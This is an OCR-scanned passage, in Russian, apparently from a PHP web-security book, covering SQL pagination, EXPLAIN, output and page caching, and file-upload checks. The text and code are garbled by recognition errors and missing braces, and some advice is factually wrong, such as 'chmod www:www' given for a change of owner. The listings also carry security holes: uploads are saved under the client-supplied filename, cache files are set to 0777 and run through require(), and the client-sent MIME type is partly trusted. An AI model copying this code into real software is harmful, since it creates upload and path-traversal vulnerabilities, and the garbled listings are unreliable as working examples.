ток секунд. А если это разные серверы? При совершенно не занятом и самом мощ
ном канале перекачка такого количества данных от сервера базы данных до сервера 
со сценарием отнимет еще больше времени. 

Как же тогда получается такая большая скорость? Дело в том, что Google показы
вает приблизительное значение результатов поиска. Я много раз замечал, что даже 
в тех случаях, когда он показывал 1 ООО результатов, реально удавалось пройтись 
только по паре десятков их страниц. 

Отображать пользователю весь результат поиска слишком накладно, т. к. никто не 
захочет скачивать страницу размером 64 Гбайт, поэтому результат разбивается на 
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страницы, на каждой из которых отображается от 10 до 30 результатов (зависит от 
программиста). Исходя из этого, получение результата можно разбить на два этапа: 

1. Определить общее количество записей, удовлетворяющих критериям поиска.

Такой запрос имеет вид:

SELECT Count(*)

FROM TaЫeNarne

WHERE Критерии поиска

Результатом запроса будет всего лишь одно число, для хранения которого хва

тит и 4 байтов. Такое число сервер базы данных сможет мгновенно передать

сценарию.

2. Выбрать данные для: формирования только одной страницы. На начальном эта

пе - это первая страница, и нужно выбрать первые N записей. Если страница
вторая, то выбираем записи N + 1 до N + N и т. д. Это намного удобнее и бь1ст

рее по двум причинам:

• когда при сканировании базы данных в поиске нужных записей сервер нахо
дит первые N строк, он прерывает поиск и возвращает результат клиенту.

Дальнейшее сканирование бессмысленно, потому что клиенту больше запи
сей и не нужно;

• по сети передается только N х (размер строки данных) байтов, что намного

меньше, чем размер строки, умноженный на 690 млн.

В случае самой распространенной базы данных MySQL для реализации всего ска

занного нужно использовать оператор ымrт: 

SELECT * 
FROM TaЬleName 

LIMIT У, N 

где У- строка, начиная с которой нужно возвращать результат, а N- количество 

строк. Например, чтобы получить строки с 11-й по 25-ю, нужно выполнить запрос: 

SELECT * 
FROM TaЫeName 

LIMIT 11, 15 

Если необходимо получить все строки, начиная с 50-й, то в качестве N нужно ука

зать число -1: 

SELECT * 
FROM TaЫeName 

LIMIT 50, -1 

Всегда получайте от сервера баз данных только самые необходимые данные. Даже 
запрос лишней колонки потребует дополнительных затрат не только от сервера, но 

и от сетевого оборудования и клиента. 
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4. З. 4. Изучайте систему
Я постарался дать лишь общие сведения об оптимизации, но даже если вы будете 
использовать только их, то значительно повысите скорость работы приложений 
с базами данных. Более тонкую настройку удастся произвести, только зная систе
му. Например, СУБД (Oracle или MS SQL Server) может собирать статистическую 
информацию о запросах, которая позволит оптимизатору выбрать действительно 
правильный и быстрый метод выборки данных. Но статистика может и навредить, 
если она устарела и не соответствует реальному состоянию данных, поэтому жела
тельно уметь управлять процессом сбора информации. 

Рассмотренные методы оптимизации работают практически во всех современных 
СУБД. Более тонкую настройку нужно начинать только после того, как вы узнаете, 
как система и оптимизатор обрабатывают запрос и что можно сделать для повыше
ния эффективности. 

В некоторых системах управления данными (например, MS SQL Server) есть спе
циальные утилиты, которые позволяют проанализировать выбранный оптимизато
ром план выполнения. Так, утилита SQL Query Analyzer в MS SQL Server дает воз
можность визуально проконтролировать все шаги и получить подробную информа
цию по каждому шагу (рис. 4.1). Проанализировав эту информацию, можно при-
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Рис. 4.1. Просмотр плана выполнения запроса с помощью утилиты SQL Query Analyzer 
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нять правильное решение по повышению производительности сервера и скорости 
выполнения запроса. 

У MySQL нет удобного графического интерфейса (не считая разработок сторонних 
производителей), но команда анализа запросов есть. Чтобы узнать, как база данных 
выполняет запрос, необходимо перед оператором SELECT поставить EXPLAIN - на
пример: 

EXPLAIN SELECT * 
FROM TaЫeName 

В результате вы увидите таблицу, состоящую из следующих полей: 

□ tаЫе - имя таблицы, участвовавшей в запросе;

□ type - тип объединения в запросе. Это поле очень важно, поэтому обращайте
внимание на содержащееся здесь значение. А в качестве содержимого поля
можно увидеть следующее:

• system - системное объединение. Используется, когда в таблице только одна
строка;

• eq_ ref - одна строка указанной таблицы соответствует нескольким строкам
связанной таблицы;

• ref- несколько строк таблицы могут соответствовать группе строк из
связанной таблицы. Такое значение нежелательно, но вполне реально, если
используется не уникальный индекс, где есть небольшое количество повто
рений;

• range - для вывода результата будет использоваться определенный диапазон
значений;

• ALL - для каждой строки из связанной таблицы будет просматриваться вся
текущая таблица. Такое бывает в тех случаях, когда нет индексов, полезных
запросу;

• index - для каждой строки связанной таблицы будет просматриваться вся
текущая таблица, но при этом используется индекс;

□ possiЫe _ keys - индексы, которые могут использоваться в запросе. Если индек
сов нет, то их введение - один из реальных способов повышения производи
тельности;

□ key - если в поле possiЫe _ keys указываются возможные индексы, то в этом
поле показан тот индекс, который использовался;

□ kеу_lеn-длина ключа;

□ ref - поле или условие из секции WHERE, которое использовалось в индексе;

□ rows - количество просматриваемых строк для получения результата;

□ extra - дополнительная информация.

Мы не рассматривали здесь повышение производительности за счет изменения 
аппаратной части. Этот метод требует больших затрат, так что с наращивания 



202 Глава 4 

аппаратной части начинают только неопытные программисты. Хакеры всегда на
чинают с изменения программной части, а потом уже обращают внимание на аппа
ратную. 

4.4. Оптимизация РНР 

Мы рассмотрели теорию оптимизации, поговорили о том, как можно ускорить ра
боту базы данных, а теперь нам предстоит узнать, как же можно оптимизировать 
сам РНР-код. Найдя слабое место системы и убедившись, что используется наибо
лее эффективный алгоритм, можно переходить к оптимизации кода и РНР-ин-: 
струкций. 

4. 4 .1 . Кеширование вывода

В языке РНР есть несколько интересных функций, с помощью которых можно 
включить буферизацию вывода и повысить скорость работы сценария. Для начала 

кеширования необходимо вызвать функцию оь _ start (), а в конце - функцию 

оЬ _ end _ flush (). Все операции вывода данных (например, print ()) между вызовами 
этих двух функций будут сохранять данные в буфере, а не направлять их клиенту. 
Непосредственная отправка данных клиенту произойдет только после вызова 

функции оЬ _ end _ flush (). Если функция оЬ _ end _ flush () не будет вызвана, то данные 
будут направлены серверу по завершении выполнения сценария. 

Следующий пример показывает, как использовать функции кеширования: 

<?php 
ob_start(); 

// Вывод данных 
ob_end_flush(); 

?> 

Во время выполнения сценария вы можете контролировать состояние буфера. Для 
этого можно воспользоваться одной из двух функций: 

□ оЬ _get _ contents () - функция возвращает содержимое буфера;

□ оь _get _ length () - функция возвращает размер выделенного буфера.

Буферизацию можно ускорить еще больше, если включить сжатие данных. Для 

этого нужно выполнить функцию оЬ _ s tart ( ) , а в качестве параметра передать стро
ку оЬ _gzhandler: 

<?php 
ob_start('ob_gzhandler'); 
// Вывод данных 

?> 

В этом случае данные будут передаваться клиенту в виде, сжатом с помощью архи
ватора gzip. И только если браузер клиента не поддерживает сжатие, данные будут 
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передаваться в открытом виде. Но даже если 50% пользователей будут получать 
сжатые данные, вы сэкономите серьезную долю трафика, а значит, и ресурсов. 
Конечно, для сервера - это лишние расходы процессорного времени, ведь прихо
дится выполнять лишние операции по сжатию. Зато сетевые каналы смогут обраба
тывать большее количество запросов, а значит, и работать быстрее. 

Так что, если ваш канал связи загружен более чем на 70%, необходимо подумать 
о том, чтобы включить буферизацию. 

4.4.2. Кеwирование страниц 

Если ваши сценарии используют для формирования веб-страницы запросы к доста
точно большой базе данных и при этом изменения в базе происходят редко, то 
можно кешировать целые страницы. Как оценить, насколько редко меняется база 
данных? Для этого нужно сравнить частоту изменений с количеством обращений, 
и если между изменениями происходит более 100 обращений к вашему сайту, то 
кеширование реально поможет. 

Кеширование происходит следующим образом. При первом обращении или после 
внесения изменений в базу данных страница формируется с помощью сценария, 
а затем сохраняется на диске сервера в специальном каталоге. При последующем 
обращении к этой же странице сценарий сначала проверяет, существует ли файл со 
страницей. Если да, то сценарий загружает его. В результате не нужно будет заново 
формировать веб-страницу, уменьшится количество обращений к базе данных и 
значительно снизится нагрузка на сервер. 

Для кеширования страниц у РНР нет готового и эффективного инструмента, да его 
и не может быть, потому что универсального решения не существует. Программи
сту все приходится создавать самостоятельно, и в этом разделе нам предстоит рас
смотреть возможный вариант решения проблемы кеширования. 

Давайте подумаем, как объединить кеширование вывода, которое мы рассматрива
ли в разд. 4. 4.1, и кеширование страниц. Если объединить эти две технологии и 
немного поразмыслить, то пример реализации кеширования страниц станет оче
видным. Моя реализация представлена в листинге 4.1. 

<?php 

// Функция чтения кеша 

function ReadCache($CacheName) 

if (file_exists ("cache/$CacheName.htm")) 

require("cache/$CacheName.htm"); 

print("<HR>Cтpaницa загружена из кеша"); 

return 1; 
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else { 

return О; 

// Функция записи кеша 

function WriteCache($CacheName, $CacheData) 

$cf = @fopen("cache/$CacheName.htm", "w") 

or die {"Can't write cache"); 

fputs ($cf, $CacheData); 

fclose ($cf); 

@chrnod ("cache/$CacheName.htm", 0777); 

// Основной код страницы 

if (ReadCache("MainPage")==l) { 

exit; 

оЬ _ start () ; 

print("<CENTER><B>Глaвнaя страница</В></СЕNТЕR>"); 

print("<P>Этo тестовая страница"); 

WriteCache("MainPage", ob_get_contents()); 

оЬ _ end _ fl ush ( ) ; 

?> 

Глава 4 

Основной код сценария начинается с запроса загрузки страницы из кеша. Для этого 

в листинге создана функция ReadCache ( ) . Ей передается имя файла, который нужно 
загрузить, ведь в кеше могут быть сохранены все веб-страницы. В нашем случае 

подразумеваем, что сценарий формирует главную страницу с именем мainPage, 

и именно это значение мы передаем в качестве параметра. 

Давайте теперь посмотрим, что происходит в функции Readcache ( ) . Здесь произво
дится проверка существования файла с указанным именем. Если такой файл суще

ствует, то он подключается с помощью функции require () и возвращается значе
ние 1. Для наглядности я еще вывожу на экран сообщение о том, что эта страница 
бьша взята из кеша. 

Вернемся к основному коду. Если функция ReadCache 1) возвратила 1, то выполне
ние сценария прерывается. Нет смысла тратить время на формирование страницы, 
если она была взята из кеша. 

Далее выполняем функцию ob_start(), чтобы начать кеширование вывода, и начи

наем формировать страницу. Перед тем как вызвать функцию ob_end_flush{), не
обходимо сохранить содержимое сгенерированной страницы, которую можно по

лучить с помощью оь _get _ contents () . Для сохранения кеша в нашем сценарии соз

дана функция Wri tecache () . Ей нужно передать имя страницы, по которому 
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определяется имя файла кеша. Второй параметр - данные, которые будут записа

ны в файл. В нашем случае это результат функции оЬ _get _ contents () . 

После создания файла изменяются его права доступа на 0777, что соответствует 
правам, при которых доступ к файлу разрешен всем: 

@chmod ("cache/$CacheNarne.htm", 0777); 

Загрузите с помощью браузера этот сценарий и попробуйте обновить страницу. Вы 
увидите в конце страницы сообщение о том, что страница взята из кеша. 

Если вы решите использовать эту заготовку в своих проектах, то перенесите функ
ции ReadCache () и Wri teCache () в отдельный модуль и подключайте с помощью 
функции include (), чтобы один и тот же код не размножать во всех сценариях. 
А лучше будет даже объединить эти два метода·в класс. 

Заготовка действительно удобная. Если нужно создать еще одну страницу сайта
например, страницу контактов, то ее код должен выглядеть следующим образом: 

<? 

include('func.php'); 
// Основной код страницы 
if (ReadCache("Contacts")==l) 
exit; 

ob_start(); 
print("<CENTER><B>Koнтaкты</B></CENTER>"); 
рrint("<Р>Чтобы связаться со мной: horrific@vr-online.ru"); 
WriteCache("Contacts", ob_get_contents()); 
ob_end_flush(); 

?> 

В начале сценария подключается файл func.php, в котором должны быть реализова
ны функции ReadCache () И Wri teCache () . 

С помощью кеша веб-страниц вы реально повысите скорость работы сценария, но 
потеряете возможность создать сайт, направленный на посетителя, -т. е. такой, на 
котором к�ый посетитель может создавать собственное представление сайта. 
Если вы хотите организовать возможность выбора расцветки сайта, настройки ото
бражения определенных частей под посетителя (например, в зависимости от пред
почтения посетителя, позволить ему выбирать нужные категории новостей для ото
бражения на главной странице), то реализовать подобное с помощью кеширования 
достаточно сложно, а если и удастся, то эффект будет не таким уж и хорошим. 

4.5. Оптимизация или безопасность? 

Основная проблема оптимизации заключается в том, •по оптимизация и безопас
ность - чаще всего противоречащие друг другу понятия. Код, который не произ
водит никаких проверок, работает быстрее, но без проверок код может привести 
к ошибке в программе, что, в свою очередь, понизит безопасность. 
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Каждая проверка - это затраты процессорного времени и замедление работы про
граммы. Но если заботиться о безопасности кода, то проверки лишними не будут. 
Надо просто построить их правильным образом. 

Во время проверки нужно расставить приоритеты. Сначала следует проверять наи
более часто встречающиеся ошибки или правильные реакции. Например, вы хотите 
запретить передачу в форму НТМL-тегов. Как это можно сделать? Вполне логич
ным было бы использование регулярных выражений, которые повсеместно исполь
зуются в Perl и, наверное, благодаря ему получили распространение. Но они рабо
тают не так уж и быстро, а самое страшное, что при создании регулярного выраже
ния легко ошибиться. 

Сделайте сначала все проверки, которые не требуют больших затрат, - например, 
проверки на размер строк, на пустые строки или на отсутствующие значения и т. п. 

Можно реализовать максимально возможное количество проверок на стороне кли
ента с помощью JavaScript. В этом случае браузер проверит за нас данные на кли
енте, используя ресурсы посетителя. Результат будет получен мгновенно, и это 
значительно увеличит скорость. Однако не стоит доверять таким проверкам, т. к. 
хакеры могут обойти любые проверки JavaScript, потому что они легко отключают
ся с помощью браузера. А при использовании специализированных утилит ему и 
вовсе не придется убирать такие проверки - в них JavaScript работать не будет. 
Так что на браузер надейся, а сам не плошай: все проверки должны быть как на 
стороне клиента, так и на сервере. 

Если писать проверки и на сервере, и на клиенте, то это отнимет много времени и 
придется подцерживать много кода, причем JavaScript-npoвepки будут дубщ�:ровать 
те, что реализованы на сервере с помощью РНР. Но все эти затраты оправданны -
большинство посетителей сайта будут добросовестными и не станут обходить 
JavaScript-cиcтeмy безопасности. 

Проверки должны быть везде и не только тех данных, которые приходят от посети
теля. Если функция имеет код возврата, свидетельствующий о правильности отра
ботки, вы обязательно должны убедиться, что во время работы функции не было 
ошибок. Здесь нельзя разграничить, у каких функций нужно проверять код возвра
та, а после каких можно пренебречь лишним оператором if. Проверки должны 
быть всегда. Просто в одних случаях проверке надо уделить больше внимания, а 
в других - поменьше. 

Особое внимание должно уделяться проверкам в следующих случаях: 

□ при получении данных от посетителя. Я думаю, что тут не нужно много объяс
нять, ведь с вашим веб-сайтом работают не только добросовестные посетители,
но и взломщики, которые могут передать программе системные команды в виде
параметров. Об этом мы уже говорили в главе 2;

□ при обращении к системе. Взломщик может скомпрометировать даже файловую
систему. Например, ваш сценарий использует файлы на диске. Если хакер суме
ет удалить необходимый файл, то во время попытки открыть его РНР-функция
выдаст нам ошибку. Вы должны отреагировать на эту ошибку и прервать вы-
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полнение сценария, иначе дальнейшая работа пойдет по непредвиденному кур
су, и хакер сможет воспользоваться этим. К системным ресурсам относится и 
электронная почта (потому что sendmail также может быть скомпрометирован), 
и другие ресурсы сервера; 

□ при обращении к базе данных. Это вообще отдельная тема, обсуждать которую
можно часами. Хакер способен получить доступ к базе данных не только с по
мощью вашего сценария, но и через прямое соединение, если сервер доступен
для подключения извне.

Безопасность и производительность могут быть связанными понятиями, а могут 
и вступать в противоречие, поэтому обе проблемы должны рассматриваться совме

стно. 

4.6. Переход на РНР 8 

Переход на РНР 8 может значительно повлиять на производительность. В новой 
версии разработчики провели великолепную работу по оптимизации. 

Помимо просто оптимизации, разработчики представили ЛТ-компиляцию (Just
In-Time, что дословно переводится как «точно в срок»), включающую сразу два ме
ханизма: Tracing ЛТ и Function ЛТ. Первый является наиболее перспективным и 
показывает лучшие результаты. Запросы обрабатываются быстрее и по некоторым 
синтетическим бенчмаркам повышение производительности может быть в несколь
ко раз выше по сравнению с предыдущими версиями РНР. 

Меньшее время на обработку запроса приводит к тому, что за одну минуту можно 
обработать больше таких запросов. 
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Примеры работы с РНР 
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У нас уже достаточно знаний для того, чтобы начать писать более интересные про
граммы. В этой главе нас ждет большое количество любопытных примеров, реко
мендаций и просто советов. Если предыдущие главы были, скорее, теоретическими, 
то эта будет носить больше практический характер. 

Теоретические знания - это хорошо, но необходимы и практические навыки. 
Только опыт позволит вам максимально быстро и качественно решать типовые 
задачи, с которыми можно встретиться в реальной жизни, и опробовать знания на 
реальных примерах. 

Лично я всегда начинаю изучать что-то новое именно с практических задач, одно
временно изучая теорию. Практика позволяет увидеть собственными глазами, как 
что-то работает, а с помощью теории мы углубляем свои знания. Именно поэтому 
все теоретические занятия в этой книге шли вперемежку с большим количеством 
примеров. Лучше один раз увидеть, чем 100 раз прочитать. 

5 .1 . Загрузка срайлов на сервер 

Загрузка файлов на сервер - одна из самых опасных задач. Если позволить посе
тителю что-то загружать бесконтрольно, то злоумышленник сможет поместить на 
сервер свой сценарий и выполнить его. Если ему это удастся, то считайте, что ваш 
сервер взломан. 

Как и любые другие данные, файлы могут передаваться серверу методами PUT или 
юsт. Метод юsт нам уже знаком по разд. 2.12, а вот PUT мы пока еще не использо
вали. Метод PUT сохраняет данные по определенному адресу (URL) и хорошо под
ходит для публикации данных на сервере, хотя на практике я с ним пока еще не 
встречался. Обычно посетители отправляют всё на сервер с помощью· юsт

запросов. 

Для начала посмотрим, как работает метод юsт, и начнем с НТМL-формы для от
правки: 
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<form action="http://phpbook/chapter5/l5-1-FileUpload.php" 

method="post" enctype="multipart/form-data"> 

Файлы дпя отправки 
<p><input name="filel" type="file"></p> 

<p><input type="suЬmit" value="Send files"></p> 

</form> 
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В свойствах формы, помимо параметра action с указанием сценария обработки 
и метода отправки, необходимо указать свойство enctype. Оно определяет, как при 
отправке будут закодированы данные. По умолчанию это свойство равно 
application/x-www-form-urlencoded, что соответствует простой текстовой форме, а 
значит, данные на сервер будут отправлены в виде текста. Протокол НТТР, кото
рый используется для передачи данных, является текстовым, и отправлять данные 
в таком же виде вполне логично. Чтобы сервер смог получить бинарные данные, 
нужно изменить это свойство на multipart/form-data, что соответствует форме из 
нескольких частей данных, часть из которых будет текстовой, а часть закодирован
ным в текст бинарным файлом. 

Файл для загрузки указывается в элементе управления input. Для удобства тип 
(свойство type) этого элемента равен file. Эгот тип поддерживается большинством 
браузеров и отображается на экране не как поле ввода, а как кнопка для выбора 
файла. После нажатия этой кнопки, на экране появляется стандартное окно выбора 
файла (рис. 5 .1 ). 

А как будет происходить сама передача данных? Браузер не может создать со
единение с файлом сценария и передавать ему данные. Это будет слишком сложно, 

х + 

f- ➔ с ,, д ,��t Sec�r�T�hpb6�k/�hapter5/15-1-Falet)pload,php 
� _, ;,,,.· .. ·.� 

.. '. ""4s 

File Upload. 

Файлы цля аmравки 

1 Choose Flle I No file chosen 

1 SendfНes 1 

Files: 

FileSize: 

FileТype: 

FileName: 

File Тетр Name: 

Рис. 5.1. Стандартное окно выбора файла 
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а в некоторых случаях просто невозможно. Но самая главная проблема - безопас
ность. Файл должен загружаться в безопасное место на сервере. И было найдено 
великолепное решение - после нажатия кнопки отправки данных файл загружает
ся во временный каталог, и только тогда запускается указанный сценарий. 

Из сценария мы можем увидеть данные файла через массив $_FILES. Этот массив 
является двумерным. Первый уровень определяет имена полей, в которых находят
ся параметры файла. Одна форма может отправлять несколько файлов, поэтому 

$ _ FILES [поле] указывает на нужный нам файл. В форме, описанной ранее, поле для 

ввода имени файла называется filel, поэтому из сценария к этому файлу обраща

емся так: $_FILES ["filel"J. 

Второй уровень определяет свойства загруженного файла. Здесь есть следующие 
элементы: 

□ tmp _ name - имя временного файла, куда бьm загружен файл пользователя;

□ name - имя файла источника на компьютере-клиенте;

□ t уре - тип файла;

□ size - размер файла.

Итак, чтобы увидеть имя временного файла, куда бьmи загружены данные, напи

шем: $_FILES ["filel "] [ "tmp_name"]. 

Но это еще не все. Временный файл на UNIX-cepвepax чаще всего создается в ката
логе /tmp, который является общедоступным. В него могут писать все посетители, 
что небезопасно. К тому же временный файл может быть удален системой. Намно
го эффективнее организовать в сценарии копирование этого файла в специально 
выделенный для этих целей каталог. 

Следующий пример показывает, как можно получить файл от посетителя, скопиро
вать его в каталог /var/www/html/files и отобразить информацию о файле: 

<p>File Size: <?= $ FILES["filel"] ["size"] ?></р>
-

<p>File Туре: <?= $ FILES["filel"] ["type"] ?></р>
-

<p>File Name: <?= $ FILES [ "filel"] [ "name"] ?></р>
<p>File Temp Name: <?= $ FILES [ "file_l"] [ "tmp _ name"]

<? 

if (copy($_FILES["filel"] ["tmp_name"], 
"/var/www/html/files/". $ _FILES [ "filel"] [ "name"])) 

print ( "Копирование завершено") ; 
else 
рrint("Ошибка копирования файла 1</В>"); 

?> 

?></р> 

Загрузка может быть отключена в конфигурационном файле php.ini. Откройте этот 

файл и проверьте директиву file_uploads. Чтобы у вас бьша возможность загру

жать файлы на сервер, этот параметр должен быть равен оп. Если ваши сценарии не 



Примеры работы с РНР 211 

загружают данные, то убедитесь, что он равен off, чтобы взломщик был не в со
стоянии использовать РНР и загрузить файл на сервер. 

Загрузка может завершиться ошибкой и при нехватке прав на запись в каталог для 
посетителя, с правами которого работает веб-сервер. Обычно я встречаю системы, 
где веб-серверы работают от имени пользователя www (у меня на моей macOS это 
имя _ www). Если у этого посетителя нет прав на каталог, в который вы хотите ско
пировать данные, то файл создать будет нельзя. 

Тут же нужно сказать и о правах доступа, ведь это все же безопасность, о которой 
мы говорим в этой книге. В приведенном ранее сценарии я пытаюсь сохранить 
файлы в каталог /var/www/html/files/. Если вы создавали каталог /var/www/html/files/ под 
учетной записью своего посетителя, то, скорее всего, только вы имеете полные 
права для работы с этим каталогом, а также некоторые права будут у тех, кто вхо
дит в вашу группу. Посетитель www в эту группу, вероятнее всего, не входит и не 
должен входить, и по умолчанию загрузка закончится ошибкой. 

Очень часто такие проблемы решают, просто установив максимальные права на 
этот каталог. В Linux-cиcтeмax подобное решается выполнением следующей ко
манды: 

chmod 777 /var/www/html/files 

Права доступа 777 означают, что теперь к указанному каталогу будет иметь полный 
доступ кто угодно. Желательно такого не делать. Лучше поменять владельца ката
лога, чтобы им стал посетитель www, и тогда он сможет делать с ним что угодно, а 
остальным разрешено будет только читать: 

chmod www:www /var/www/html/files 

В приведенном примере сценария я намеренно допустил одну логическую ошибку. 
Если вы ее разглядели, это хорошо. Ошибка в том, что мы копируем файл из вре� 
менного каталога в ее постоянное хранилище. Я много раз встречал такой код -
у него есть несколько проблем и ни единого преимущества: 

□ мы таким образом создаем копию, и в системе будут два файла, один из которых
останется во временном каталоге tmp. Кто-то может сказать, что копия не навре
дит, но это только из-за отсутствия воображения. Файлы во временных катало
гах также могут использоваться в атаках на серверы;

□ копирование происходит медленнее перемещения файла.

Функцию копирования лучше заменить специально предназначенной для подобных 
манипуляций функцией move _ uploaded _ file (). У этой функции два параметра: пер
вый - что копировать, а второй определяет, куда копировать. 

Если вы используете глобальные переменные (для этого в конфигурационном фай
ле директива register_globals должна быть равна on), то к этим же параметрам 
можно получить доступ через следующие переменные: 

□ $filel - имя временного файла;

□ $filel_name- имя файла на сервере;
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□ $filel _size -размер;

□ $filel_type-тип файла.

Мы уже говорили, что глобальные переменные хотя и могут быть безопасными, 
если правильно с ними работать, их все же лучше отключать, потому что самым 
главным врагом является глобальность. Надеюсь, что у вас они отключены. 

Попробуйте выполнить сценарий и посмотреть на имя временного файла. Я загру
зил файл file.txt, а временный файл был назван /tmp/phpml1XXc. Сервер изменяет имя 
по своему усмотрению, поэтому реальное имя нужно брать из параметра name, т. е. 
из реального имени, переданного с компьютера-клиента. 

Вы должны учитывать это: после загрузки нужно корректировать права, а именно 
убирать права на запись в файл и выполнение, чтобы взломщик не смог подменить 
содержимое или выполнить загруженный сценарий. О правах доступа в системе 
Linux можно прочитать в уже упоминаемой ранее книге «Linux глазами хакера» [1]. 

Обратите внимание, что у временного файла, который был загружен на сервер, со
вершенно нечитаемое имя. Это не случайно, ведь два разных посетителя могут 
загружать файл с одним и тем же именем, и при попадании во временный каталог 
файлы могут помешать друг другу. Имена, которые передает посетитель, не явля
ются уникальными, и этим данным нельзя доверять, поэтому и происходит такая 
подмена. 

Когда вы копируете файл в свой каталог, вы можете вернуть оригинальное имя, но 
тут все же нужно учитывать, что такой файл уже может существовать, и вы просто 
потеряете имеющиеся данные. 

Я в таких случаях обычно использую какой-нибудь счетчик, который уникален. 

Рассмотрим еще одну классическую задачу - ограничение размера загружаемого 
файла. Это можно сделать тремя способами: с помощью ограничения размера фай
ла в НТМL-форме, на стороне сервера и с помощью параметра конфигурационного 
файла. Дпя ограничения в НТМL-форме необходимо добавить невидимое поле 
с именем МАХ _FILE _ SIZE, а в качестве значения указать нужный размер: 

<input type="hidden" name="МAX_FILE_SIZE" value="З00"> 

В этом примере в качестве максимального размера указано значение 300 байтов. 
Файлы большего размера на сервер загружаться не будут. 

Эта строка должна идти до описания поля ввода имени файла. Тогда форма отправ
ки файла будет выглядеть следующим образом: 

<form action="http://phpbook/chapter5/l5-1-FileUpload.php" 
method="post" enctype="multipart/form-data"> 

<input type="hidden" name="МAX_FILE_SIZE" value="З00"> 
<br><input name="filel" type="file"> 
<br><input type="suЬmit" value="Send files"> 

</form> 

Попробуйте теперь загрузить файл больше разрешенного размера. Управление бу
дет передано сценарию, но при этом файл не будет загружен на сервер, поэтому 
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параметр размера файла $_FILES["filel"J ["size"J будет равен нулю. Вот почему 
в РНР-сценарий желательно добавить следующую проверку, прежде чем произво
дить копирование: 

if ($_FILES ["filel"] ["size"]== О) { 

die ( "Файл не был корректно загружен") ; 

Недостаток этого метода заключается в том, что хакер может легко удалить неви
димое поле с ограничением, ведь проверка будет происходить на стороне клиента 
в НТМL-форме. Поэтому лучше производить проверку на стороне сервера, когда 
файл будет загружен: 

<?php 

if ($_FILES["filel"J ["size"] > 10*1024) 

die ( "Слишком большой размер файла") ; 

if (move_uploaded_file($filel, 

"/var/www/html/files/". $filel _ name)) 

print("<b>Complete</b>"); 

else { 

рrint("<Ь>Ошибка копирования файла 1</Ь>"); 

?> 

В этом примере мы в начале сценария проверяем, чтобы размер загруженного фай
ла не был более 10 Кбайт (10, умноженное на 1024 байта, т. е. на 1 Кбайт). 

Преимущество этого метода состоит в том, что проверку не удастся убрать, если не 
иметь доступа к исходному коду сценария и к возможности его редактирования. 

Последний способ - изменение директивы upload _ max _ filesize конфигурационно
го файла php.ini. Следующий пример устанавливает максимальный размер в 2 Мбайт: 

upload_max_filesize = 2М 

Недостаток всех методов: тот факт, что пользователь выбрал слишком большой 
файл, станет известным только после его загрузки. Эго трата трафика и времени. 

5. 2. Т1 роверка корректности qюйла

В разд. 5.1 мы выяснили, что при загрузке файлов возникает проблема прав досту
па. Чтобы файл можно было загрузить, веб-серверу должны быть даны права на 
запись в каталог, ведь это от его имени мы будем копировать файл из общего ката
лога. Загруженный файл по умолчанию может иметь права на выполнение ( если 
кто-то решил проблему права доступа установкой 777). Таким образом, если хакер 
загрузит свой РНР-сценарий и сумеет выполнить его на сервере, то это может при
вести к взлому всего сервера. Загруженные файлы ни в коем случае не должны 
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иметь права на выполнение. Я с трудом представляю ситуацию, в которой может 
понадобиться выполнять файлы посетителей. 

Чтобы хакер не смог загрузить ничего опасного для вашего сервера, необходимо 

следить за содержимым закачиваемых данных. Например, очень часто на форуме 
посетителям предоставляется возможность закачивать свои картинки, которые 
будут отображаться над сообщениями. Но при этом мы должны быть уверены, что 

в файле действительно графические данные, а не текст и тем более не программа на 
языке РНР. Как в этом убедиться? 

Одной проверки файлов никогда не бывает достаточно. Нужно обязательно реали
зовать несколько этапов контроля данных, потому что один уровень обойти всегда 
намного проще. Обсудим, какие проверки можно сделать для файлов картинок. 

Попробуйте закачать на сервер графический файл в формате GIF с помощью сце

нария, описанного в разд. 5.2. В поле type будет содержаться текст irnage/gif. До 

знака слеша находится тип image, а после слеша стоит расширение файла. Для 

JРЕG-файлов после слеша можно увидеть одно из расширений: jpg, jpeg или pjpeg, а 
для РNG-файла это будет png. Все указанные типы поддерживаются большинством 

современных браузеров, и именно их мы будем проверять. 

А теперь попробуем переименовать простой текстовый файл со сценарием в файл 

с расширением gif и закачаем тем же сценарием. В переменной type будет 

plain/text. Хотя, судя по расширению, этот файл должен быть графическим, про

грамма «видит», что тип файла текстовый. Получается, что нельзя верить расшире
нию, а вот типу файла можно немного доверять. 

В листинге 5.1 показан пример, в котором тип файла разбивается на составляющие 

(до и после слеша), а потом происходит проверка достоверности расширения и 

типа. Для того чтобы разбить на части текст, содержащийся в поле типа файла, 

удачно подходит функция preg_match() с регулярным выражением ' ( [a-zJ+) \/ 

[ х \- J * ( [ a-z J +) '. Затем осуществляется проверка полученного типа с помощью 

оператора swi tch. Если он не соответствует ни одному из разрешенных ( соответст

вующих картинкам), то вызывается метод die () для завершения работы сценария. 

Листинr 5.1,; !lроверка корректнос:rи картимкм · 

<?php 
preg_ rnatch ("' ( [a-z] +) \/ [х\-] * ( [a-z] +) '", $filel _ type, $ext) ; 
print("<P>$ext[l]"); 
print("<P>$ext[2]"); 

switch($ext[2]) 

{ 
case "jpg": 
case "jpeg": 
case "pjpeg": 
case "gif": 
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case "png": 
break; 

default: 
die("<p>This is not image</p>"); 

if (сору ($filel, "/var/www/html/files/". $filel_name)) 
print("<p><b>Complete</b></p>"); 

else 
print("<p><b>Error сору file 1</Ь></р>"); 

?> 
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Но этого недостаточно. Нелишне до копирования файла проверить размер картин
ки. Даже если у вас нет ограничения на размер файла, полезно вызвать функцию 
getimagesize ( J. Этой функции передается путь к файлу, а в результате мы получаем 
размеры картинки. Если во время определения размера картинки с помощью 
getimagesize () произойдет ошибка, то возвращаемые размеры будут равны нулю. 
Достаточно проверить любой из параметров� Если он равен нулю, значит, в файле 
передана не картинка. 

Следующий пример показывает, как можно выполнить проверку корректности 
файла через определение его размера: 

$im_prop=getimagesize($filel); 
print("<P>$im_prop[O]x$im_prop[l] "); 
if ($im_prop[OJ>O) 
{ 

if (copy($filel, "/var/www/html/files/" .$filel_name)) 
print("<P><B>Complete</B>"); 

else { 
print("<P>Error сору file 1</В>"); 

else 
die ( "Image size error") 

Функция getimagesize () возвращает массив из свойств графического файла. В этом 
массиве элементы нумеруются с нуля и содержат следующее: 

□ ширину картинки;

□ высоту;

□ тип, где 1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = ВМР, 7 = ТIFF (формат
Intel), 8 = ТIFF ( формат Motorola), 9 = JPC, 1 О = JP2, 1 1 = JPX;

□ строку вида height="yyy" width="xxx".

Таким образом, файл можно копировать только в том случае, когда значения нуле
вого и первого элементов больше нуля. Картинка не должна иметь ширину или вы
